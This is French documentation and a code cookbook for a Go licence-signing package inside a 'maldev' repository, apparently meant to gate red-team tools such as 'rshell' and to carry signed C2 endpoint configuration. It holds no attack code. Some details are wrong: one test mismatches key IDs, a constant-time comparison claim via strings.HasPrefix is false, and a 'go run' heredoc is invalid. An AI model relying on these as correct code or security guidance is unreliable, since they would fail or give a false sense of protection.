	if _, err := license.VerifyFile("user.license", trusted); err != nil {
		log.Fatal("ACCESS DENIED")
	}
}

Toutes les fonctions de chargement existent en deux variantes : file-based (LoadPublicKey, LoadPrivateKey, LoadLicense, VerifyFile) qui prennent un chemin, et bytes-based (ParsePublicKey, ParsePrivateKey, Verify) qui prennent un []byte directement utilisable avec //go:embed.

Trois rôles, deux clés

flowchart LR
    A["Toi<br/>(émetteur)"] -- "signe avec<br/>clé privée" --> L["licence.pem"]
    L --> U["Utilisateur"]
    U --> B["Binaire<br/>(consommateur)"]
    A -. "distribue<br/>clé publique" .-> B
    B -- "vérifie avec<br/>clé publique" --> R["accepte / refuse"]
  • L'émetteur détient la clé privée. Il signe les licences.
  • L'utilisateur reçoit une licence (un fichier). Il ne signe rien.
  • Le binaire consommateur embarque la clé publique et vérifie les licences présentées.

La clé privée est le seul secret du système. Tant qu'elle reste privée, personne ne peut émettre de licence valide en ton nom. La clé publique est, comme son nom l'indique, publique : elle se distribue avec le binaire.

Local() vs Composite() pour le machine binding

Le sous-package license/hostid expose deux fingerprints :

FonctionSources mixéesStable à travers…Sensible à…
Local()identifiant canonique de l'OS uniquement (MachineGuid / /etc/machine-id / IOPlatformUUID)reboots, mises à jour applicatives, ajout/retrait d'interfaces réseauréinstallation d'OS, machine entièrement neuve
Composite()Local() + CPU brand string + MAC du premier réseau physique (DMI product UUID en bonus sur Linux)reboots, mises à jour applicativeschangement de CPU, échange de carte mère, swap de NIC, déplacement vers une VM différente

Quand utiliser quoi :

  • Local() quand tu veux dire "même installation, même utilisateur". Plus permissif aux changements hardware légitimes (NIC remplacée, ajout de RAM). Une réinstallation d'OS le change.
  • Composite() quand tu veux dire "même machine physique". Plus résistant au spoofing de /etc/machine-id ou d'une seule source — un attaquant doit aligner CPU brand + MAC + machine-id pour faire passer une autre machine. Plus sensible aux changements hardware.
// Permissif :
me, _ := hostid.Local()

// Strict :
me, _ := hostid.Composite()

Les deux retournent 32 octets ; passe l'un à WithMachineID(me) au verify. Évidemment, émets la licence avec la même variante que celle que tu vérifies.

Vocabulaire

TermeDéfinition
IssuerToi. La signature t'identifie. Tu peux aussi mettre ton nom dans le champ Issuer de la licence (texte libre, signé).
SubjectLe destinataire de la licence. Texte libre (email, agent, hostname…). Sert d'identifiant humain et figure dans les logs.
KeyID (kid)Le nom court de la clé qui a signé (ex. "k2026-05"). Permet de tourner les clés sans casser les licences existantes : plusieurs kid peuvent coexister côté consommateur.
Audience (aud)Liste des binaires pour lesquels la licence est valable. Si vide, la licence est valable partout (avec warning).
BindingUne contrainte spécifique : machine, mot de passe, paire clé/valeur custom. Lors de la vérification, l'appelant fournit l'« évidence » qui doit matcher le binding.
PinningLier la licence à un binaire précis, soit par hash du fichier (BinarySHA256), soit par identité embarquée (IdentitySHA256). Empêche la réutilisation avec un binaire modifié.
RevocationAnnulation après émission. Le serveur publie une liste signée d'IDs révoqués ; le binaire la consulte avant d'autoriser.
HeartbeatPing périodique vers un serveur qui répond signé si la licence est toujours active. Tolérance offline configurable via grace period.
State fileFichier local HMAC qui mémorise le plus récent time.Now() et le plus récent server_time observés. Détecte le rollback d'horloge.

Le cycle de vie

sequenceDiagram
    autonumber
    participant You as "Émetteur"
    participant Bin as "Binaire"
    participant Srv as "Serveur révocation (optionnel)"

    You->>You: GenerateAndSave(dir, kid)
    Note over You: une fois par rotation
    You->>Bin: distribue issuer.pub
    Note over Bin: au moment du build
    You->>You: Issue(IssueOptions{...})
    You->>Bin: distribue licence.pem
    Note over Bin: au moment de l'onboarding
    Bin->>Bin: Verify(licence, pub)
    Bin->>Srv: (optionnel) fetch revocation list
    Srv-->>Bin: signed list
    Bin-->>You: autorisé / ErrLicenseInvalid

Le mode hors-ligne pur (les deux premières étapes seulement, sans serveur) couvre la majorité des cas : le binaire vérifie offline, et la licence expire d'elle-même au NotAfter.

Le mode en-ligne s'ajoute si tu veux pouvoir révoquer une licence avant son expiration (fuite, fin de contrat) ou imposer un check serveur récurrent.

Pourquoi pas un simple mot de passe ?

Mot de passe partagéLicence signée
Identifier qui utilise quoinonoui (Subject par licence)
Expiration automatiquenonoui (NotAfter)
Révocation cibléenon (tu change le mot de passe pour tous)oui (par ID de licence)
Lier à une machinenonoui (binding machine)
Scope par binairenonoui (Audience)
Données métier attachées et signéesnonoui (Payload typé)
Résiste à la modification du tokennonoui (signature Ed25519)

Garanties

Le package garantit, sous l'hypothèse que la clé privée reste confidentielle :

  • Authenticité : seule la clé privée peut produire une licence acceptée. Une licence forgée échoue à Verify.
  • Intégrité : toute modification post-signature (même d'un seul bit) est détectée.
  • Non-réutilisation cross-audience : une licence émise pour aud=["rshell"] ne validera pas un WithAudience("memscan").
  • Non-réutilisation cross-binaire : si tu actives WithBinaryPinning(), une licence émise pour le binaire A ne validera pas le binaire B.
  • Anti-replay de revocation list ancienne : la liste est signée, expirable, et porte un numéro de séquence monotone.
  • Anti-brute-force des bindings password : argon2id avec paramètres tuned (~100 ms par tentative).
  • Anti-rollback d'horloge sous le plancher signé : si le state file est activé et a déjà observé un server_time, un time.Now() antérieur est rejeté.

Limitations honnêtes

  • Le binaire peut être patché. Un attaquant qui modifie Verify pour return nil contourne tout. Ce scénario relève du hardening binaire (packer, code-signing OS) — hors scope de ce package.
  • Une licence partagée volontairement reste utilisable. Si Alice donne sa licence et son mot de passe à Bob, Bob s'en sert. Le binding machine mitige partiellement.
  • L'usage offline indéfini est limité par GracePeriod au-delà duquel le binaire refuse. Sans heartbeat ni revocation, l'expiration repose uniquement sur NotAfter.
  • Le Payload non scellé est lisible par quiconque détient la licence. Pour du contenu confidentiel, utilise SealedPayload (chiffré pour un destinataire X25519 précis).
  • hostid.Local() est falsifiable par un attaquant qui contrôle entièrement la machine.

Anatomie de Verify

Verify exécute les vérifications dans l'ordre suivant. La première qui échoue retourne ErrLicenseInvalid (cause précise loguée mais absente du message d'erreur).

  1. Format PEM + taille (< 16 KiB).
  2. Résolution du KeyID dans Trusted.Keys.
  3. Signature Ed25519 sur domain_tag || canonical(License).
  4. Lecture du state file (HMAC vérifié). Si time.Now() < trusted_floor → refus.
  5. NotBefore ≤ now + skew ≤ NotAfter.
  6. WithAudienceLicense.Audience et WithIssuer = License.Issuer.
  7. Tous les Bindings matchent les évidences fournies.
  8. Si WithBinaryPinning() : BinarySHA256 et/ou IdentitySHA256 matchent.
  9. Si WithRevocation : la licence n'est pas révoquée et la liste est fraîche.
  10. Si WithHeartbeat : le serveur confirme ok: true (skip si une réponse OK a moins de interval).
  11. Si WithNTPCheck : la dérive d'horloge est tolérable.
  12. Écriture atomique du state file mis à jour.

Tout est ordonné cheap → expensive : les checks crypto sont avant les checks réseau.

Première lecture recommandée

Si tu veux…Va à
Émettre et vérifier ta première licenceCookbook Recette 1
Comprendre tous les champs du JSONRéférence des champs
Distribuer un binaire avec licence à plusieurs personnesRecette 2 et Recette 11
Limiter une licence dans le temps + à une machineRecette 3
Embarquer des données applicatives signéesRecette 7-bis
Mettre en place la révocationRecette 5
Comprendre les menaces couvertes et celles qui ne le sont pasThreat model
Trouver une réponse rapide à un cas concretFAQ

Voir aussi

License — Cookbook

Copy-paste programmes complets. Chaque recette compile telle quelle après go get github.com/oioio-space/maldev@latest.

Nouveau dans ce domaine ? Lis d'abord concepts.md — explique le vocabulaire et le cycle de vie sans jargon crypto. Pour les questions ponctuelles, va voir la FAQ.

Recettes "essentielles" :

Recettes "production" :

Recettes "scénarios métier" :


Recette 1

Génère une paire de clés, signe une licence, vérifie-la. Tout en RAM, zéro fichier.

package main

import (
	"fmt"
	"log"
	"time"

	"github.com/oioio-space/maldev/license"
)

func main() {
	pub, priv, err := license.GenerateKey()
	if err != nil {
		log.Fatal(err)
	}

	// Émission "one-liner" (KeyID = "default", aucune contrainte hors NotAfter).
	data, err := license.New(priv, "alice@example.com", 24*time.Hour)
	if err != nil {
		log.Fatal(err)
	}

	// Vérification.
	v, err := license.Verify(data, license.Trusted{Keys: license.SingleKey("default", pub)})
	if err != nil {
		log.Fatal(err)
	}
	fmt.Printf("OK — délivrée à %s, expire %s\n", v.Subject, v.NotAfter)
}

license.New(priv, subject, ttl) est le raccourci minimal. Pour ajouter Issuer, Audience, Bindings, Payload, etc., passe à license.Issue — Recette 2.


Recette 2

Émission CLI, vérification binaire, fichiers PEM sur disque.

a. Côté émetteur

package main

import (
	"log"
	"os"
	"time"

	"github.com/oioio-space/maldev/license"
)

func main() {
	dir, _ := os.UserHomeDir()
	dir += "/.maldev-issuer"
	_ = os.MkdirAll(dir, 0o700)

	// GenerateAndSave : génère + écrit issuer.key (0600) + issuer.pub (KID embarqué).
	_, priv, err := license.GenerateAndSave(dir, "k2026-05")
	if err != nil {
		log.Fatal(err)
	}

	data, err := license.Issue(license.IssueOptions{
		PrivateKey: priv,
		KeyID:      "k2026-05",
		Subject:    "alice@example.com",
		Issuer:     "lab-eu",
		Audience:   []string{"rshell"},
		NotAfter:   time.Now().Add(90 * 24 * time.Hour),
	})
	if err != nil {
		log.Fatal(err)
	}

	if err := license.SaveLicense("./alice.license", data); err != nil {
		log.Fatal(err)
	}
	log.Print("Licence écrite : ./alice.license")
	log.Print("Distribue ./alice.license et ~/.maldev-issuer/issuer.pub")
}

b. Côté binaire consommateur

package main

import (
	"log"

	"github.com/oioio-space/maldev/license"
)

func main() {
	pub, kid, err := license.LoadPublicKey("./issuer.pub")
	if err != nil {
		log.Fatal(err)
	}

	v, err := license.VerifyFile("./alice.license",
		license.Trusted{Keys: license.SingleKey(kid, pub)},
		license.WithAudience("rshell"),
		license.WithIssuer("lab-eu"),
	)
	if err != nil {
		log.Fatalf("ACCESS DENIED: %v", err)
	}
	log.Printf("Autorisé — Subject=%s, KeyUsed=%s", v.Subject, v.KeyUsed)
}

Recette 3

Limiter à un set de machines + exiger un mot de passe.

Émission

import "github.com/oioio-space/maldev/license/hostid"

// Obtient le fingerprint de la machine cible (depuis cette machine).
machineA, _ := hostid.Local()

pwBinding, err := license.BindPassword("hunter2")
if err != nil {
	log.Fatal(err)
}

data, err := license.Issue(license.IssueOptions{
	PrivateKey: priv,
	KeyID:      "k2026-05",
	Subject:    "alice@example.com",
	NotAfter:   time.Now().Add(30 * 24 * time.Hour),
	Bindings: []license.Binding{
		license.BindMachineIDs(string(machineA)),
		pwBinding,
	},
})

Vérification

me, _ := hostid.Local()
v, err := license.Verify(data, trusted,
	license.WithMachineID(me),
	license.WithPassword("hunter2"),
)

Si me ∉ liste OU password ≠ argon2id stocké → ErrLicenseInvalid (cause précise loguée mais absente du message — pour ne pas guider un attaquant).


Recette 4

Identité embarquée — résiste au packer.

a. Générer l'identité (une fois par série de builds)

go run github.com/oioio-space/maldev/license/identity/cmd/gen-identity \
    -out cmd/rshell/identity.bin

Idempotent. Commit identity.bin pour que toute l'équipe partage la même identité par binaire.

b. Embarquer dans le binaire

package main

import (
	_ "embed"
	"log"

	"github.com/oioio-space/maldev/license"
	"github.com/oioio-space/maldev/license/identity"
)

//go:embed identity.bin
var identityBytes []byte

func main() {
	identity.Set(identityBytes)

	pub, kid, _ := license.LoadPublicKey("issuer.pub")
	if _, err := license.VerifyFile("rshell.license",
		license.Trusted{Keys: license.SingleKey(kid, pub)},
		license.WithBinaryPinning(),
	); err != nil {
		log.Fatal(err)
	}
}

c. Émettre pour cette identité

identityBytes, _ := os.ReadFile("cmd/rshell/identity.bin")
data, _ := license.Issue(license.IssueOptions{
	PrivateKey:     priv,
	KeyID:          "k2026-05",
	Subject:        "alice",
	IdentitySHA256: license.HashIdentity(identityBytes),
	NotAfter:       time.Now().Add(180 * 24 * time.Hour),
})

La licence reste valide à travers cmd/packer pack, re-packing, strip, signature Authenticode — tant que identity.bin reste embarqué.


Recette 5

Serveur HTTP minimal — revocation list signée + heartbeat. ~30 lignes.

package main

import (
	"log"
	"net/http"
	"os"
	"time"

	"github.com/oioio-space/maldev/license"
	"github.com/oioio-space/maldev/license/server"
)

func main() {
	priv, err := license.LoadPrivateKey("/etc/maldev/issuer.key")
	if err != nil {
		log.Fatal(err)
	}

	mux := http.NewServeMux()
	mux.Handle("/revoked.pem", server.NewRevocationHandler(server.RevocationOptions{
		PrivateKey: priv,
		KeyID:      "k2026-05",
		Store:      server.FileStore("/var/lib/maldev/revoked.json"),
		ValidFor:   7 * 24 * time.Hour,
		AdminToken: os.Getenv("MALDEV_ADMIN_TOKEN"),
	}))
	mux.Handle("/heartbeat", server.NewHeartbeatHandler(server.HeartbeatOptions{
		PrivateKey: priv,
		KeyID:      "k2026-05",
		Store:      server.StaticLicenseStore{}, // remplace par ta propre LicenseStore (DB, fichier…)
		ValidFor:   time.Hour,
	}))

	log.Fatal(http.ListenAndServeTLS(":8443", "cert.pem", "key.pem", mux))
}

Révoquer / annuler une révocation (admin)

# Révoquer
curl -X POST https://lic.example.com/revoked.pem \
     -H "Authorization: Bearer $MALDEV_ADMIN_TOKEN" \
     -d '{"add":["<license-id>"]}'

# Annuler
curl -X POST https://lic.example.com/revoked.pem \
     -H "Authorization: Bearer $MALDEV_ADMIN_TOKEN" \
     -d '{"remove":["<license-id>"]}'

Recette 6

Verify "production" — pinning + révocation + heartbeat + state file + NTP soft + grace period offline.

package main

import (
	"context"
	"log"
	"os"
	"time"

	"github.com/oioio-space/maldev/license"
	"github.com/oioio-space/maldev/license/heartbeat"
	"github.com/oioio-space/maldev/license/hostid"
	"github.com/oioio-space/maldev/license/revoke"
)

func main() {
	pub, kid, _ := license.LoadPublicKey("issuer.pub")
	state := os.Getenv("HOME") + "/.maldev/license-state"

	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()

	v, err := license.VerifyFile("rshell.license",
		license.Trusted{Keys: license.SingleKey(kid, pub)},

		// Scope.
		license.WithAudience("rshell"),
		license.WithIssuer("lab-eu"),
		license.WithMachineID(must(hostid.Local())),

		// Pinning binaire/identité.
		license.WithBinaryPinning(),

		// Révocation hybride : HTTP en priorité, fallback fichier, cache local.
		license.WithRevocation(
			revoke.MultiSource(
				revoke.HTTPSource("https://lic.example.com/revoked.pem", nil),
				revoke.FileSource("/etc/maldev/revoked.pem.cached"),
			),
			24*time.Hour,
			state+".revoke",
		),
		license.WithGracePeriod(7*24*time.Hour),

		// Heartbeat : ping rate-limité à 1/h.
		license.WithHeartbeat(
			heartbeat.HTTPClient("https://lic.example.com/heartbeat", nil),
			time.Hour,
		),

		// Anti-tamper d'horloge.
		license.WithStateFile(state),
		license.WithStateHostID(hostid.Local),
		license.WithMaxClockSkew(5*time.Minute),

		// NTP en soft warning (ne refuse pas).
		license.WithNTPCheck("pool.ntp.org:123", 10*time.Minute),

		// Timeout global réseau.
		license.WithContext(ctx),
	)
	if err != nil {
		log.Fatalf("license check failed: %v", err)
	}
	for _, w := range v.Warnings {
		log.Printf("[warn] %s", w)
	}
	log.Printf("autorisé — %s (key %s)", v.Subject, v.KeyUsed)
}

func must[T any](v T, err error) T {
	if err != nil {
		log.Fatal(err)
	}
	return v
}

Recette 7

Rotation de clé sans casser les licences existantes.

oldPub, _, _ := license.LoadPublicKey("/etc/maldev/issuer-2026-05.pub")
newPub, _, _ := license.LoadPublicKey("/etc/maldev/issuer-2026-11.pub")

trusted := license.Trusted{
	Keys: map[string]ed25519.PublicKey{
		"k2026-05": oldPub, // gardée jusqu'à expiry des dernières licences
		"k2026-11": newPub, // active maintenant
	},
}
_, err := license.VerifyFile("./client.license", trusted, /* options */)

Workflow recommandé :

  1. Génère et déploie la nouvelle clé : license.GenerateAndSave("/etc/maldev/issuer-2026-11/", "k2026-11")
  2. Push la nouvelle issuer-2026-11.pub à tous les binaires via release.
  3. Émets les nouvelles licences avec KeyID: "k2026-11".
  4. Attends que toutes les licences k2026-05 aient expiré (max(NotAfter)).
  5. Retire k2026-05 de Trusted.Keys dans les binaires à la release suivante.
  6. Détruis issuer-2026-05.key (HSM/disque).

Recette 7-bis — Payload applicatif typé

Embarquer un struct Go arbitraire dans la licence et le récupérer typé après vérification.

Le champ License.Payload est du JSON arbitraire signé en clair. Tu fournis n'importe quel objet sérialisable, et tu le récupères au choix avec (*Verified).Decode(&target) (style stdlib) ou PayloadAs[T](v) (générique).

Émission

type Config struct {
	Endpoint string   `json:"endpoint"`
	Tier     int      `json:"tier"`
	Tags     []string `json:"tags,omitempty"`
}

cfg := Config{Endpoint: "https://c2.example.com", Tier: 3, Tags: []string{"redteam"}}
raw, err := license.MarshalPayload(cfg)
if err != nil {
	log.Fatal(err)
}

data, _ := license.Issue(license.IssueOptions{
	PrivateKey: priv, KeyID: "k1", Subject: "alice",
	NotAfter: time.Now().Add(24 * time.Hour),
	Payload:  raw,
})

Vérification — style stdlib

v, err := license.Verify(data, trusted)
if err != nil {
	log.Fatal(err)
}
var cfg Config
if err := v.Decode(&cfg); err != nil {
	if errors.Is(err, license.ErrNoPayload) {
		log.Print("licence sans payload — j'utilise la config par défaut")
	} else {
		log.Fatalf("payload corrompu: %v", err)
	}
}
fmt.Println(cfg.Endpoint)

Vérification — style générique

v, _ := license.Verify(data, trusted)
cfg, err := license.PayloadAs[Config](v)
if err != nil {
	log.Fatal(err)
}
fmt.Println(cfg.Endpoint) // *Config typé, prêt à l'emploi

Le payload peut être n'importe quel type marshalable JSON : struct, map[string]any, []string, primitives. Le contenu est signé par l'émetteur — toute altération entre émission et vérification fait échouer Verify avec ErrLicenseInvalid.

Différence avec SealedPayload : Payload est signé en clair (lisible par n'importe qui qui détient la licence). SealedPayload est chiffré pour un destinataire spécifique (Recette 8) — utile pour des secrets sensibles.


Recette 8

Payload chiffré pour un destinataire — sealed payload.

import "github.com/oioio-space/maldev/license/seal"

// 1. Le destinataire publie sa clé publique X25519.
recipientPub, recipientPriv, _ := seal.GenerateRecipient()

// 2. L'émetteur scelle un payload pour ce destinataire.
secretConfig := []byte(`{"endpoint":"https://c2.example.com","token":"xxx"}`)
sealed, _ := seal.Seal(recipientPub, secretConfig)

// 3. La licence transporte le scellé. Signée publiquement par l'issuer,
//    mais le contenu n'est lisible que par recipientPriv.
data, _ := license.Issue(license.IssueOptions{
	PrivateKey:    priv,
	KeyID:         "k1",
	Subject:       "alice",
	NotAfter:      time.Now().Add(24 * time.Hour),
	SealedPayload: sealed,
})

// 4. Côté binaire : déchiffre après Verify.
v, err := license.Verify(data, trusted)
if err != nil { /* ... */ }
config, err := seal.Open(recipientPriv, v.SealedPayload)
if err != nil { /* clé X25519 incorrecte */ }
fmt.Println("config:", string(config))

Sous le capot : X25519 ECDH → HKDF-SHA256 → XChaCha20-Poly1305 AEAD avec l'ephemeral public key comme AAD.


Recette 9

Période d'essai gratuite de 14 jours, une par utilisateur.

L'idée : émettre une licence à durée fixe avec un payload qui marque le début de l'essai. Le binaire lit le payload et adapte ses fonctionnalités (ou refuse certaines actions) en fonction.

type Trial struct {
	StartedAt time.Time `json:"started_at"`
	Plan      string    `json:"plan"`
}

raw, _ := license.MarshalPayload(Trial{StartedAt: time.Now(), Plan: "trial-14d"})
data, _ := license.Issue(license.IssueOptions{
	PrivateKey: priv, KeyID: "k1",
	Subject:    "tester@example.com",
	NotAfter:   time.Now().Add(14 * 24 * time.Hour),
	Payload:    raw,
})
license.SaveLicense(fmt.Sprintf("./trials/%s.license", "tester@example.com"), data)

Côté binaire :

v, err := license.Verify(data, trusted)
if err != nil {
	if isExpiredCause(err) { // log analysis
		fmt.Println("Votre période d'essai est terminée.")
	}
	os.Exit(1)
}
trial, _ := license.PayloadAs[Trial](v)
fmt.Printf("Essai démarré le %s — plan %s\n", trial.StartedAt.Format("2006-01-02"), trial.Plan)

Recette 10

Niveaux de licence (basic / pro / enterprise) avec Features first-class.

Le champ License.Features est signé au niveau racine — lisible par Verified.HasFeature(name) sans désérialisation. Pour les paramètres qui ne sont pas des booléens (quotas, identifiants), Payload reste disponible.

data, _ := license.Issue(license.IssueOptions{
	PrivateKey: priv, KeyID: "k1", Subject: "client",
	NotAfter: time.Now().Add(365 * 24 * time.Hour),
	Features: []string{"export", "api", "advanced-recon"},
})

Côté binaire :

v, err := license.Verify(data, trusted)
if err != nil {
	log.Fatal(err)
}
if !v.HasFeature("export") {
	return errors.New("export non disponible dans votre licence — passez à un plan supérieur")
}

Pour combiner avec des quotas :

type Quota struct {
	MaxParallel int `json:"max_parallel"`
}
raw, _ := license.MarshalPayload(Quota{MaxParallel: 8})
data, _ := license.Issue(license.IssueOptions{
	PrivateKey: priv, KeyID: "k1", Subject: "client",
	NotAfter: time.Now().Add(365 * 24 * time.Hour),
	Features: []string{"export", "api"},   // booléens : HasFeature
	Payload:  raw,                          // chiffres et autres : PayloadAs[T]
})

Features et Payload sont tous deux signés : impossible pour l'utilisateur de modifier son plan sans casser la signature.


Recette 11

Distribuer 50 licences en batch à partir d'un CSV.

package main

import (
	"encoding/csv"
	"log"
	"os"
	"path/filepath"
	"strings"
	"time"

	"github.com/oioio-space/maldev/license"
)

func main() {
	priv, _ := license.LoadPrivateKey("/etc/maldev/issuer.key")

	f, _ := os.Open("subscribers.csv")
	defer f.Close()
	rows, _ := csv.NewReader(f).ReadAll()

	_ = os.MkdirAll("./out", 0o755)

	for _, row := range rows[1:] { // skip header
		email, plan := row[0], row[1]
		ttl := 365 * 24 * time.Hour
		if plan == "trial" {
			ttl = 14 * 24 * time.Hour
		}

		data, err := license.Issue(license.IssueOptions{
			PrivateKey: priv, KeyID: "k1",
			Subject:  email,
			NotAfter: time.Now().Add(ttl),
			Audience: []string{"rshell"},
		})
		if err != nil {
			log.Printf("[skip] %s: %v", email, err)
			continue
		}

		// Slug-safe filename à partir de l'email.
		slug := strings.ReplaceAll(email, "@", "_at_")
		out := filepath.Join("out", slug+".license")
		if err := license.SaveLicense(out, data); err != nil {
			log.Printf("[skip] %s: %v", email, err)
			continue
		}
		log.Printf("[ok] %s → %s", email, out)
	}
}

Format attendu de subscribers.csv :

email,plan
alice@example.com,pro
bob@example.com,trial

Recette 12

Inspecter une licence sans la valider — pour le diagnostic.

data, _ := os.ReadFile("./alice.license")
lic, err := license.Inspect(data)
if err != nil {
	log.Fatal(err)
}
fmt.Printf("Subject:  %s\n", lic.Subject)
fmt.Printf("Issuer:   %s\n", lic.Issuer)
fmt.Printf("KeyID:    %s\n", lic.KeyID)
fmt.Printf("NotAfter: %s\n", lic.NotAfter.Format(time.RFC3339))
fmt.Printf("Audience: %v\n", lic.Audience)
fmt.Printf("Bindings: %d\n", len(lic.Bindings))
for _, b := range lic.Bindings {
	fmt.Printf("  - type=%s, values=%v\n", b.Type, b.Value)
}

Inspect lit le contenu sans vérifier la signature. À utiliser uniquement pour le diagnostic — jamais pour autoriser une action.


Recette 13

Tests unitaires : générer des licences à la volée dans un testing.T.

func TestMyTool_RefusesExpiredLicense(t *testing.T) {
	pub, priv, _ := license.GenerateKey()
	expired, _ := license.Issue(license.IssueOptions{
		PrivateKey: priv, KeyID: "k1", Subject: "test",
		NotAfter: time.Now().Add(-time.Hour), // expirée
	})

	myTool := NewTool(WithTrusted(license.Trusted{Keys: license.SingleKey("k1", pub)}))
	if err := myTool.Run(expired); err == nil {
		t.Fatal("expected refusal on expired license")
	}
}

func TestMyTool_AcceptsValidLicense(t *testing.T) {
	pub, priv, _ := license.GenerateKey()
	valid, _ := license.New(priv, "test", time.Hour)

	myTool := NewTool(WithTrusted(license.Trusted{Keys: license.SingleKey("k1", pub)}))
	if err := myTool.Run(valid); err != nil {
		t.Fatalf("expected accept, got %v", err)
	}
}

Pour injecter une horloge déterministe :

clk := &license.FakeClock{T: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)}
license.Verify(data, trusted, license.WithClock(clk))

Recette 14

Plusieurs binaires partageant la même paire de clés, scopés par Audience.

Émission

priv, _ := license.LoadPrivateKey("./issuer.key")

// Une seule licence pour Alice, vaut pour rshell + memscan :
licMulti, _ := license.Issue(license.IssueOptions{
	PrivateKey: priv, KeyID: "k1",
	Subject:    "alice",
	Audience:   []string{"rshell", "memscan-server"},
	NotAfter:   time.Now().Add(90 * 24 * time.Hour),
})

// Une licence séparée pour Bob, uniquement memscan :
licMemOnly, _ := license.Issue(license.IssueOptions{
	PrivateKey: priv, KeyID: "k1",
	Subject:    "bob",
	Audience:   []string{"memscan-server"},
	NotAfter:   time.Now().Add(90 * 24 * time.Hour),
})

Côté chaque binaire

// cmd/rshell/main.go
license.Verify(data, trusted, license.WithAudience("rshell"))

// cmd/memscan/main.go
license.Verify(data, trusted, license.WithAudience("memscan-server"))

La licence de Bob (Audience=memscan-server) est refusée par rshell avec causeAudienceMismatch. La licence d'Alice fonctionne pour les deux.


Recette 15

Logger les causes d'échec en production pour le support.

import (
	"log/slog"
	"os"
)

func main() {
	// Logueur JSON structuré → pipe vers Loki/ELK/etc.
	logger := slog.New(slog.NewJSONHandler(os.Stderr, &slog.HandlerOptions{
		Level: slog.LevelInfo,
	}))

	pub, kid, _ := license.LoadPublicKey("issuer.pub")
	v, err := license.VerifyFile("./user.license",
		license.Trusted{Keys: license.SingleKey(kid, pub)},
		license.WithLogger(logger),
	)
	if err != nil {
		// Le logueur a déjà émis un WARN avec la cause précise.
		// Le message rendu à l'utilisateur reste opaque.
		fmt.Fprintln(os.Stderr, "Cette licence n'est pas valide. Contactez le support avec votre ID.")
		os.Exit(1)
	}

	logger.Info("license accepted",
		"subject", v.Subject,
		"key_used", v.KeyUsed,
		"warnings", v.Warnings,
	)
}

Exemple de sortie sur un échec :

{"time":"2026-05-20T10:00:00Z","level":"WARN","msg":"license verify failed","cause":"binding-machine-mismatch"}

À pipe vers ton stack d'observabilité. Alertes utiles : clock-rollback ou binding-password-mismatch répétés sur un même subject (indice de brute-force ou tampering).


Recette 16

Embarquer la clé publique dans le binaire — pas de fichier externe à packager.

Le pattern : tu commit issuer.pub à côté du main.go du binaire consommateur. La directive //go:embed injecte son contenu dans une variable []byte au moment du go build. Tu parses ensuite ces bytes avec ParsePublicKey([]byte) — qui est la variante bytes-in de LoadPublicKey(path).

package main

import (
	_ "embed"
	"log"

	"github.com/oioio-space/maldev/license"
)

//go:embed issuer.pub
var issuerPub []byte

func main() {
	pub, kid, err := license.ParsePublicKey(issuerPub)
	if err != nil {
		log.Fatalf("issuer.pub corrompue ou absente : %v", err)
	}

	if _, err := license.VerifyFile("./user.license",
		license.Trusted{Keys: license.SingleKey(kid, pub)}); err != nil {
		log.Fatal("ACCESS DENIED")
	}
}

Variante : embarquer plusieurs clés (pour la rotation, ou pour accepter des licences de plusieurs émetteurs).

//go:embed issuer-2026-05.pub issuer-2026-11.pub
var pubFiles embed.FS

func loadTrusted() license.Trusted {
	keys := map[string]ed25519.PublicKey{}
	entries, _ := pubFiles.ReadDir(".")
	for _, e := range entries {
		data, _ := pubFiles.ReadFile(e.Name())
		pub, kid, err := license.ParsePublicKey(data)
		if err != nil {
			log.Printf("[skip] %s: %v", e.Name(), err)
			continue
		}
		keys[kid] = pub
	}
	return license.Trusted{Keys: keys}
}

Rappel : la clé publique se distribue sans risque (commit, embed, README). La clé privée ne quitte jamais le poste de l'émetteur. Voir concepts.md.


Recette 17

Générer un MALDEV_ADMIN_TOKEN.

Ce token est un secret partagé entre toi et ton serveur de révocation (Recette 5). Il authentifie les requêtes POST /revoked.pem qui ajoutent ou retirent des IDs. Sans token côté serveur, le endpoint POST est désactivé (read-only).

Caractéristiques attendues

  • Entropie ≥ 128 bits (~22 caractères base64 url-safe, ou 32 hex)
  • Stocké côté serveur en clair via variable d'environnement, ou dans un secrets manager (Vault, AWS Secrets Manager, sealed-secrets…)
  • Jamais committé, jamais loggué
  • Rotation périodique recommandée (annuelle, ou immédiate si compromission soupçonnée)

Génération en une commande

# Linux / macOS / Git Bash :
openssl rand -base64 32

# PowerShell :
[Convert]::ToBase64String((1..32 | ForEach-Object { Get-Random -Max 256 } | ForEach-Object { [byte]$_ }))

# Avec Python :
python3 -c "import secrets; print(secrets.token_urlsafe(32))"

# Avec Go (le plus simple si tu veux scripter) :
go run -exec=- - <<'EOF'
package main
import ("crypto/rand"; "encoding/base64"; "fmt")
func main() { b := make([]byte, 32); rand.Read(b); fmt.Println(base64.URLEncoding.EncodeToString(b)) }
EOF

Résultat : une chaîne du genre cVnGEjRSdM2GR1Mxz5lFt-fOpkqsr8YgVRJP7H2ID5g.

Mise en place côté serveur

# Stockage local (acceptable en dev) :
export MALDEV_ADMIN_TOKEN="cVnGEjRSdM2GR1Mxz5lFt-fOpkqsr8YgVRJP7H2ID5g"
./mon-serveur-revocation

# systemd unit :
[Service]
Environment="MALDEV_ADMIN_TOKEN=…"
ExecStart=/usr/local/bin/mon-serveur-revocation

# Docker / Kubernetes : via secret monté en env var, pas dans l'image.

Utilisation pour révoquer / annuler une révocation

TOKEN="cVnGEjRSdM2GR1Mxz5lFt-fOpkqsr8YgVRJP7H2ID5g"

# Révoquer une licence :
curl -X POST https://lic.example.com/revoked.pem \
     -H "Authorization: Bearer $TOKEN" \
     -d '{"add":["73f56081-5cce-4073-9632-..."]}'

# Annuler :
curl -X POST https://lic.example.com/revoked.pem \
     -H "Authorization: Bearer $TOKEN" \
     -d '{"remove":["73f56081-5cce-4073-9632-..."]}'

Sécurité

Le check côté handler utilise subtle.ConstantTimeCompare indirectement (via strings.HasPrefix + comparaison) — un attaquant qui brute-force ne peut pas exploiter de timing. Mais c'est juste un Bearer token : ne le laisse pas fuiter dans des logs HTTP, des screenshots, ou un repo public.


Recette 18

TOTP comme second facteur — provisioning QR code + vérification.

Le binding BindTOTP ajoute une exigence "code à 6 chiffres" au démarrage du binaire. L'utilisateur scanne un QR code une fois (avec Google Authenticator, Authy, Yubico Authenticator, 1Password, etc.), puis tape le code courant à chaque démarrage.

a. Provisionnement (côté émetteur)

package main

import (
	"fmt"
	"log"
	"os"
	"time"

